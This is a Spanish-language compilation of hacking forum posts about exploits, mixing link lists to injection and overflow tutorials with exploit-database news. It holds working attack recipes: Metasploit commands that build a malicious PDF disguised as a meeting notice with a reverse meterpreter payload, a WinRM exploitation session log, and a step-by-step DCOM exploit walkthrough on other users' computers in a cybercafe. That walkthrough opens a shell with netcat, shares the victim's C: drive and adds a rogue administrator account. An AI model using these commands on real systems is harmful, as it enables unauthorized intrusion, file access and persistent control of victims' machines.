Guia Completa de Bugs Y Exploits (iniciando)
Teoria :
http://es.wikipedia.org/wiki/Bug
http://es.wikipedia.org/wiki/Exploit
Bugs en servidores web:
http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL
http://es.wikipedia.org/wiki/Cross_Site_Scripting
http://es.wikipedia.org/wiki/Remote_File_Inclusion_(RFI)
http://es.wikipedia.org/wiki/Blind_SQL_injection
LFI no aparece en wikipedia pero les pongo un manual abajo y veran como lo entienden ;D
Bugs en windows :
http://es.wikipedia.org/wiki/Desbordamiento_de_buffer
Y muchos mas......(Ver seccion Manuales> Metasploit)
Bugs en Unix:
http://es.wikipedia.org/wiki/Desbordamiento_de_buffer
http://es.wikipedia.org/wiki/Shellcode (Shellcode)
Manuales :
Metasploit (proyecto open source para explotar vulnerabilidades mayormente en Windows):
http://foro.hackxcrack.net/forum/ind...27597#msg27597 (1ª parte)(VIDEOTUTO)
http://foro.hackxcrack.net/forum/ind...28891#msg28891 (2ª parte)(VIDEOTUTO)
http://es.wikipedia.org/wiki/Metasploit
http://www.metasploit.com/download/
----------------------------------------------------------------------------------------------------
Buffer Overflow:
http://www.portalhacker.net/index.php?topic=62566.0
http://foro.elhacker.net/bugs_y_expl...t283879.0.html
Shellcodes:
http://wiki.elhacker.net/bugs-y-expl...odes/shellcode
----------------------------------------------------------------------------------------------------
Inyeccion SQL y Blind SQL :
http://foro.hackxcrack.net/forum/ind...29081#msg29081
http://foro.elhacker.net/tutoriales_...-t98448.0.html
Blind SQL: http://lib.undersecurity.net/index.p...n-Practico.pdf
----------------------------------------------------------------------------------------------------
XSS(Cross Site Scripting):
http://foro.elhacker.net/tutoriales_...-t98324.0.html
http://darksoulmaster.foroactivo.net...o-hacer-un-xss
----------------------------------------------------------------------------------------------------
RFI (Remote File Inclusion ) y como subir una shell por RFI :
http://www.portalhacker.net/index.ph...c,48893.0.html (RFI)
http://foro.undersecurity.net/read.php?15,2351,2351 (subir shell a servidor web)
----------------------------------------------------------------------------------------------------
LFI (Local File Inclusion) :
http://foro.undersecurity.net/read.php?15,813
----------------------------------------------------------------------------------------------------
Y aqui algunos videotutoriales:
(Desbordamiento de buffer 1ª parte)
(Desbordamiento de buffer 2ª parte)
(Desbordamiento de buffer 3ª parte)
(Desbordamiento de buffer 4ª parte)
(Explicacion de shellcodes 1ª parte)
(Explicacion de shellcodes 2ª parte)
(Explicacion de shellcodes 3ª parte)
----------------------------------------------------------------------------------------------------
Vulnerabilidad RFI desde cero
----------------------------------------------------------------------------------------------------
(XSS by mrobles)
---------------------------------------------------------------------------------------------------
(LFI + SQLi = SHELL)
Espero que les Guste :)
Fuente: http://www.masters-hackers.info/showthread.php?t=47150
Milw0rm y Inj3ct0r se fusionan en 1337db
Los proyectos Milw0rm e Inj3ct0r se han fusionado y trasladado a 1337db (1337 Exploit DataBase) un nuevo dominio que seguirá hospedando la magnífica base de datos de exploits.Os dejo el aviso:
"The two projects merged into one. More secure and more powerful. We will not leave you. We will fight till the end. We are part of the underground. The team stays with you. Our new name 1337db (1337 Exploit DataBase) . We thank everyone who stayed with us. We will not let you down. We will work autonomously.
Rip Milw0rm? Bye Inj3ct0r? not die ... We switched to a higher level =]
Personal Thank: Sid3^effects, L0rd CrusAd3r, secuid0, indoushka, anT!-Tr0J4n, etc.. Thank you very much. You have made a great contribution to my 1337 life ;)
Explotando Windows 7-XP mediante PDF Escape desde Metasploit
- Backtrack 5 R1 - R2 o R3 (Atacante)
- Metasploit Framework (Atacante)
- Windows XP - 7 (Victima)
- Adobe Reader 9.1 (Victima)
PROCEDIMIENTOS:
use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs (Usar adobe pdf embedded exe exploit)
set payload windows/meterpreter/reverse_tcp (Payload que devolvera un Meterpreter)
set filename Important_Meeting_Notice.pdf (Creara el archivo PDF malicioso)
set lhost 192.168.1.17 (IP del Atacante)
set lport 8080 (Puerto open de la Victima)
exploit
---------------------------------------------------------------------------------------------------------------------------
RDPKill4Android: explota MS12-020 de RDP mediante Android
Ahora, el mismo autor ha portado la herramienta a Android:RDPKill4Android, así que imaginense las posibilidades de “maldad” conectados a una red inalámbrica corporativa, abusando de sistemas Windows sin parchear…
desde aqui podemos descargar la herramienta
Fuente: http://underterminal.nixiweb.com
Primeros exploits de día 0 para Windows 8
Recordemos que, entre las características de seguridad de Microsoft Windows 8, se incluye por defecto DEP (Data Execution Protection) y ASLR (Address Space Layout Randomization) para aleatorizar la localización de las instrucciones de los programas en memoria e impedir que se ejecuten datos en algunas direcciones específicas. Además, se añaden técnicas antiROP (Return-oriented programming) para proteger estos dos métodos y se incluye la aplicación anti-malware Windows Defender y la última versión de Internet Explorer utiliza un "sandbox" llamado AppContainer para intentar impedir que se ataque directamente al sistema a través del navegador.
Sin embargo, es evidente que Windows 8 no es invulnerable y ya en la conferencia Black Hat de este verano se mostraron exploits que teóricamente evadían sus medidas de seguridad. Tarjei Mandt, investigador de seguridad Azimuth Security comentaba "El kernel de Windows 8 fundamentalmente no cambia ninguno de los algoritmos usados en Windows 7 ... Más que nada es una versión fortificada de Windows 7 sin cambios estructurales significativos, pero incluye muchas más comprobaciones".
Por otra parte Microsoft alega que vieron el tweet de Vupen pero que dicha organización todavía no ha compartido con ellos los detalles. Y es que Vupen se lucra en gran parte gracias a la venta de sus hacks e información a agencias gubernamentales y, en definitiva, al mejor postor: "Nuestro primer 0day para Win8+IE10 con HiASLR/AntiROP/DEP y evasión del Mod Prot sandbox (no necesario Flash) está ya disponible para clientes. Bienvenido #Windows8".
Además, en las últimas horas se ha liberado un módulo de Metasploit capaz de explotar el servicio Windows Remote Management (WinRM) para obtener una sesión de Meterpreter. Bienvenido Windows 8 a este nuestro mundo cruel xD:
msf exploit(winrm_powershell) > show options
Module options (exploit/windows/winrm/winrm_powershell):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentification
PASSWORD omfg no A specific password to authenticate with
Proxies no Use a proxy chain
RHOST 10.6.255.158 yes The target address
RPORT 5985 yes The target port
URI /wsman yes The URI of the WinRM service
USERNAME sinn3r no A specific username to authenticate as
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 10.6.255.84 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(winrm_powershell) > rexploit
[*] Reloading module...
[*] Started reverse handler on 10.6.255.84:4444
[*] Attempting to set Execution Policy
[*] Grabbing %TEMP%
[*] uploading powershell script to C:\Users\sinn3r\AppData\Local\Temp\uUIpRDrz.ps1
[*] Attempting to execute script...
[*] Sending stage (752128 bytes) to 10.6.255.158
[*] Meterpreter session 1 opened (10.6.255.84:4444 -> 10.6.255.158:49535) at 2012-10-31 17:09:00 -0500
meterpreter >
[*] Session ID 1 (10.6.255.84:4444 -> 10.6.255.158:49535) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
[*] Current server process: powershell.exe (2844)
[+] Migrating to 696
[+] Successfully migrated to process
meterpreter > sysinfo
Computer : WIN-VFQHRRTCA39
OS : Windows 8 (Build 9200).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
Fuentes:Government hackers develop Windows 8 exploit – already
Security firm VUPEN claims to have hacked Windows 8 and IE10
VUPEN Researchers Say They Have Zero-Day Windows 8 Exploit
Weekly Metasploit Update: WinRM Part One, Exploiting Metasploit, and More!
http://www.hackplayers.com
El reemplazo de Milw0rm
Mucho se ha hablado últimamente sobre milw0rm.com , que str0ke (su autor) había muerto, lo cual fue desmentido luego gracias a twitter, que el sitio seria mantenido por otro grupo de personas (aunque desde septiembre no se actualiza) y en medio de las dudas sobre el futuro de este proyecto han salido varios candidatos que pretenden servir de reemplazo como por ejemplo inj3ct0r.com que es una copia exacta de milw0rm.com a modo de mirror para tener un backup del sitio en caso que deje de funcionar definitivamente (si lo hace).

- Es mantenido por los desarrolladores de Ofensive Security, quienes nos han regalado ya alegrías como el famoso BackTrack.
- El sistema de búsqueda ha sido mejorado.
- Ahora es posible descargar la aplicación a la que afecta el exploit, dando click en la letra [A], incentivando aun mas la investigación de los fallos explotados.
ACTUALIZADO:
Gracias al comentario de JiRuSoNu tenemos algunas otras alternativas
Exploits DB
http://www.expbase.com/
http://www.securelist.com/en/advisories/
http://www.hack0wn.com/
http://securityreason.com/exploit_alert
http://www.exploit-db.com/
http://nvd.nist.gov/
http://secunia.com/advisories/historic/
http://www.securityhome.eu/
http://www.security-database.com/
http://siomalabs.com/v/index.php/category/vulnerabilities/
http://osvdb.org/
http://ariko-security.com/index-7.html
http://www.packetstormsecurity.org/
http://www.nullbyte.org.il/
Buscadores de Exploits
http://sebug.net/
http://exploitsearch.com/
Algunas otras
http://www.expbase.com/
http://www.securelist.com/en/advisories/
http://www.hack0wn.com/
http://securityreason.com/exploit_alert
http://www.exploit-db.com/
http://nvd.nist.gov/
http://secunia.com/advisories/historic/
http://www.securityhome.eu/
http://www.security-database.com/
http://siomalabs.com/v/index.php/category/vulnerabilities/
http://osvdb.org/
http://ariko-security.com/index-7.html
http://www.packetstormsecurity.org/
http://www.nullbyte.org.il/
http://1337day.com/
Local root Exploits: http://localroot.th3-0utl4ws.com/
http://1337day.com/
Buscadores
http://sebug.net/
http://exploitsearch.com/
Fuente:http://www.dragonjar.org/reemplazo-de-milw0rm.xhtml
Exploit Kit - Blackhole
Luego creamos un fichero que se llamará malware.html, en el invocamos al js que hemos creado antes.
Fuente:
http://www.securitybydefault.com/2012/07/exploit-kit-blackhole.html
Desarrollo de exploits con metasploit desde cero en (ESPAÑOL)
echo por "boken"
yo estoy siguiendo este tutorial, dejo los URL de descarga para que le echen un vistaso!
-Desarrollo de exploits con metasploit 3 desde cero - parte 1 - boken
-Desarrollo de exploits con metasploit 3 desde cero - parte 2 - boken
-Desarrollo de exploits con metasploit 3 desde cero - parte 3 - boken
Fuente:
http://underc0de.org/foro/index.php?topic=9355.0
como buscar exploits
Se trata de un buscador de exploits , es una interezante propuesta para las personas que nos gusta el pentest o el hacking ya que nos facilita mucho el trabajo.
Bueno sin mas detalles aqui les dejo el link:
http://exploitsearch.com/
Bueno espero les sirva.
saludos roboticos
winAUTOPWN: framework de exploits
winAUTOPWN es una herramienta que permite atacar automáticamente sistemas Windows. Tiene una gran cantidad de exploits integrados y a diferencia de otras soluciones como Metasploit, Immunity Canvas o Core Impact apenas tiene dependencias.
Funciona en linea de comandos e incluye exploits en perl, php, python y cygwin dlls.
Ejecutarlo es tan simple como lanzar el binario, y nos va preguntando por datos sobre la víctima:

No he trasteado demasiado con la herramienta, aunque la he lanzado sobre la máquina Windows que utilizé de demo en los artículos sobre Metasploit y Meterpreter y no han tenido éxito los exploits sobre las mismas vulnerabilidades (ms08-067), tal como puede verse a continuación:

La principal ventaja es que se actualiza constantemente y es gratuita.
winAUTOPWN puede descargarse aqui. La página oficial es la siguiente:
http://dmedianero.byethost15.com/blog/2009/04/winautopwn-framework-de-exploits/
Intrusion gracias al Exploit DCOM
Intrusion por el famosisimo Exploit DCOM
Antes de comerzar este corto manualillo dire que es para uso educacional no para uso destructivo
ni nada por el estilo asi que ahora si manos a la obra.
Este exploit funka ( funciona ) solo en winxp "SIN PARCHES OJO" creo que rula con win2000 con sp4.
Estamos en un CiberCafe para hacer nuestras practicas Pre delincuenciales XD ;
bien buscaremos una Pc dentro de esta LAN donde realizar nuestras accciones.
para comenzar una vista rapida de las pcs en la red.
G:\HERRAMIENTAS UNDER\hack>net view
G:\HERRAMIENTAS UNDER\hack>net view
Servidor Descripción
----------------------------------------------
\\PC01
\\PC02
\\PC03
\\PC04
\\PC05
\\PC06
\\PC07
\\PC08
\\PC09
\\ROOT
Se ha completado el comando correctamente.
Basicamente tenemos que conseguir algo mas... su Ip interna para dirigirnos con nombre y apellido .
C:\Documents and Settings\Administrador>ping pc07
Haciendo ping a pc07 [192.168.1.7] con 32 bytes de datos:
Respuesta desde 192.168.1.7: bytes=32 tiempo<10ms TTL=128
Respuesta desde 192.168.1.7: bytes=32 tiempo<10ms TTL=128
Respuesta desde 192.168.1.7: bytes=32 tiempo<10ms TTL=128
Respuesta desde 192.168.1.7: bytes=32 tiempo<10ms TTL=128
Estadísticas de ping para 192.168.1.7:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos),
Tiempos aproximados de recorrido redondo en milisegundos:
mínimo = 0ms, máximo = 0ms, promedio = 0ms
Ya tenemos el host y la ip ; ahora nos dirijimos a un blanco nada especifico por asi decirlo .
ahora veremos que cosa comparte sino para hacerlo nosotros Wink
C:\Documents and Settings\Administrador>nbtstat -a 192.168.1.7
3COM:
Dirección IP: [192.168.1.50] Id. de ámbito : []
NetBIOS Remote Machine Name Table
Nombre Tipo Estado
---------------------------------------------
PC07 <00> UNIQUE Registrado
ENLACES <00> GROUP Registrado
PC07 <03> UNIQUE Registrado
PC07 <20> UNIQUE Registrado
ENLACES <1e> GROUP Registrado
VICTOR HUAPAYA <03> UNIQUE Registrado
Dirección MAC = 00-50-BA-85-D8-44
C:\Documents and Settings\Administrador>
Bien ahora a dirigirnos directamente a aplicar el exploit....
Para eso nos dirigimos a la ubicacion el uso del exploit bajo consola DOS para ejecutarlo .....
"OBSERVACION" :
===============
Una vez que apliquen el exploit no cierren la ventana.... sino me creen yo tampoco >-D
C:\>cd hack
C:\hack>dcom
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM
- Ported to Win32 by Benjamin LauziÞre
- Universalized for kiddie extravaganza by da barabas
- Usage: dcom
- Targets:
- 0 Windows 2000
- 1 Windows XP
nos explica la manera de usarlo.....Ejemplos:
C:\>hack>dcom 1 192.168.1.7 =======> si la maquina es winxp
C:\>hack>dcom 0 192.168.1.7 =======> si la maquina es win2000
Ahora al ataque......... let's go fuck¡¡¡¡¡¡(perdonen mi mal inglés)
C:\hack>dcom 1 192.168.1.7
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM
- Ported to Win32 by Benjamin LauziÞre
- Universalized for kiddie extravaganza by da barabas
- Using return address of 0x0100139d
Use Netcat to connect to 192.168.1.7:4444
Ahora ya esta el puerto abierto listo para conectarnos al puerto 4444 con NetCat je je .......
C:\hack>nc 192.168.1.7 4444
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
=====>Somo los Dioses del sistema
Con esto ya estamos adentro ahora a compartir recursos y si gustas Crearte una cuenta como root XD
Ahora a compartir recursos......
C:\WINDOWS\system32>net share compartido=c:
net share compartido=c:
El recurso compartido ha sido compartido.
Aqui podemos apreciar que usamos el comando "Net share" para poder compartir en modo DOS
de esta manera le estamos diciendo que el recurso que comparte se llamará "COMPARTIDO" y
la unidad a la cual queremos compartiren este caso "C:" (sin asteriscos).
Ahora nos vamos al entorno grafico inicio/ejecutar y digitamos \\pc07 y Oh¡¡¡¡¡ sorpresa.....
en todo caso el examen para saber si esta compartido....
C:\WINDOWS\system32>net share
net share
Nombre Recurso Descripción
----------------------------------------------------------------------
D$ D:\ Recurso predeterminado
C$ C:\ Recurso predeterminado
ADMIN$ C:\WINDOWS Admin remota
IPC$ IPC remota
compartido c:\ =====>"Esto lo hicimos nosotros"
Documentos c C:\Documents and Settings\All Users\Documentos
Se ha completado el comando correctamente.
C:\WINDOWS\system32>
Esta pc esta mas regalona......... sigamos......
En caso que hemos terminado nuestro cometido o solo probemos este exploit procedemos a quitar ese recurso compartido...
C:\WINDOWS\system32>net share compartido /delete /y ==================> compartido es el nombre del recurso.
net share compartido /delete
compartido ha sido eliminado.
Bien ahora si queremos crear nuestra cuenta root o admi je je... pos...... ni modo ..... Smiley
Pasen Al siguiente Capitulo te su Telellorona.... "pER..." me suena a Virus XD
===========================================================================================================================
===========================================================================================================================
Nos dirigimos a una maquina con Win200 con Sp4 que si rula en exploit.....no me creen pues miren....
C:\hack>dcom 0 192.168.1.9
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM
- Ported to Win32 by Benjamin LauziÞre
- Universalized for kiddie extravaganza by da barabas
- Using return address of 0x010016c6
Use Netcat to connect to 192.168.1.9:4444
C:\hack>nc 192.168.1.9 4444
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
Ahora a ver los usuarios que tiene esta pc...
C:\WINNT\system32>net user
net user
Cuentas de usuario de \\
-------------------------------------------------------------------------------
Invitado pc09
Bien ahora asumimos que pc09 es el root no? pues veamos......
C:\WINNT\system32>net user pc09
net user pc09
Nombre de usuario pc09
Nombre completo
Comentario Cuenta para la administración del eq
uipo o dominio
Comentario del usuario
Código de país 000 (Predeterminado por el equipo)
Cuenta activa Sí
La cuenta caduca Nunca
Ultimo cambio de contraseña 9/5/2003 2:54 AM
La contraseña caduca Nunca
Cambio de contraseña 9/5/2003 2:54 AM
Contraseña requerida Sí
El usuario puede cambiar la contraseña Sí
Estaciones de trabajo autorizadas Todas
Archivo de comandos de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada 11/20/2003 1:29 AM
Horas de inicio de sesión autorizadas Todas
Miembros del grupo local *Administradores =======>Si es admi Wink
Miembros del grupo global *Ninguno
Se ha completado el comando correctamente.
C:\WINNT\system32>
Ahora pasamos a crear nuestra propia cuenta ....
C:\WINNT\system32>net user newroot ktervas /add
net user newroot ktervas /add
Se ha completado el comando correctamente.
Hasta aqui hemos creado al usuarios: newroot y el pass: ktervas
C:\WINNT\system32>net localgroup administradores newroot /add
net localgroup administradores newroot /add
Se ha completado el comando correctamente.
Con esto completamos los derechos de admi a "newroot"
Veamos si nuestros derechos en el sistema.........
C:\WINNT\system32>net user newroot
net user newroot
Nombre de usuario newroot
Nombre completo
Comentario
Comentario del usuario
Código de país 000 (Predeterminado por el equipo)
Cuenta activa Sí
La cuenta caduca Nunca
Ultimo cambio de contraseña 11/20/2003 3:36 AM
La contraseña caduca 1/2/2004 2:24 AM
Cambio de contraseña 11/20/2003 3:36 AM
Contraseña requerida Sí
El usuario puede cambiar la contraseña Sí
Estaciones de trabajo autorizadas Todas
Archivo de comandos de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada Nunca
Horas de inicio de sesión autorizadas Todas
Miembros del grupo local *Administradores
*Usuarios
Miembros del grupo global *Ninguno
Se ha completado el comando correctamente.
C:\WINNT\system32>
En conclusion ya somoS root je je je je.... y podemos realizar mas cosas...
Despedida:
==========
No trato de dar una clase sobre estos tipos de ataques que son muy sencillos de realizar
pero el hecho es que aqui se debe tener un poco de conocimiento de los siguientes comandos.
C:\Documents and Settings\Administrador>net
La sintaxis de este comando es:
NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]
Uso pocas herramientas solo un exploit auque eso se podria hacer con software adicional...
Es muy amplio y las cosas que se puede hacer son ellos pero ya esta en cada uno aprenderlos
PD: *No se si es permitido agregar articulos al Taller, o solo es para preguntas y comentarios, de ser asi, mil disculpas a los moderadores.
* Las tools se pueden encontrar en varias listas de seguridad como securityreason[dot]com o tambien las he subido http://santopekado.googlepages.com/alderson.html
Saludos All
SantoPekado
Fuente: http://comunidad.dragonjar.org/index.php?topic=113.0










